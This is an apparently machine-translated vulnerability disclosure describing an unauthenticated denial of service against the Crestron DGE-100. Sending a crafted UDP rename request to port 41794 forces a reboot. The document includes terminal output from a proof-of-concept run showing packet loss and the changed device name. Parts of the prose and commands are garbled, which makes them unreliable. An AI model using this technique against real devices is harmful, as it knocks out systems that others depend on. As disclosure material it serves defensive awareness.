CrestronDGE-100非认证远程拒绝服务

Crestron DGE-100时发现远程非认证攻击者可以通过编译UDP请求41794改变设备名称再者 名改设备重启动攻击者只需每30秒发送改名请求即可引起拒绝服务场景

可接受性开发概念证明GitHub.下输出中设备名从 ReelecoOLNAME修改为LOLWAT 输出还显示设备重开时停止响应

ython发现_and_hostname_change.py-i172.20.105-nlwatFrom 172.20.10.111 icmp_seq=3 Destination Host Unreachable From 172.20.10.111 icmp_seq=4 Destination Host Unreachable From 172.20.10.111 icmp_seq=5 Destination Host Unreachable From 172.20.10.111 icmp_seq=6 Destination Host Unreachable From 172.20.10.111 icmp_seq=7 Destination Host Unreachable From 172.20.10.111 icmp_seq=8 Destination Host Unreachable From 172.20.10.111 icmp_seq=9 Destination Host Unreachable From 172.20.10.111 icmp_seq=10 Destination Host Unreachable From 172.20.10.111 icmp_seq=11 Destination Host Unreachable From 172.20.10.111 icmp_seq=12 Destination Host Unreachable From 172.20.10.111 icmp_seq=13 Destination Host Unreachable From 172.20.10.111 icmp_seq=14 Destination Host Unreachable From 172.20.10.111 icmp_seq=15 Destination Host Unreachable From 172.20.10.111 icmp_seq=16 Destination Host Unreachable From 172.20.10.111 icmp_seq=17 Destination Host Unreachable From 172.20.10.111 icmp_seq=18 Destination Host Unreachable From 172.20.10.111 icmp_seq=19 Destination Host Unreachable From 172.20.10.111 icmp_seq=20 Destination Host Unreachable 64 bytes from 172.20.10.105: icmp_seq=21 ttl=64 time=1036 ms 64 bytes from 172.20.10.105: icmp_seq=22 ttl=64 time=13.0 ms 64 bytes from 172.20.10.105: icmp_seq=23 ttl=64 time=0.441 ms 64 bytes from 172.20.10.105: icmp_seq=24 ttl=64 time=0.517 ms ^C --- 172.20.10.105 ping statistics --- 24 packets transmitted, 4 received, +18 errors, 83% packet loss, time 23500ms rtt min/avg/max/mdev = 0.441/262.734/1036.964/447.031 ms, pipe 4 albinolobster@ubuntu:~$ albinolobster@ubuntu:~$ python discover_and_hostname_change.py -i 172.20.10.105 ?LOLWATDGE-100 [v1.2834.00023 (December 27 2015), #00EF8CA0] albinolobster@ubuntu:~$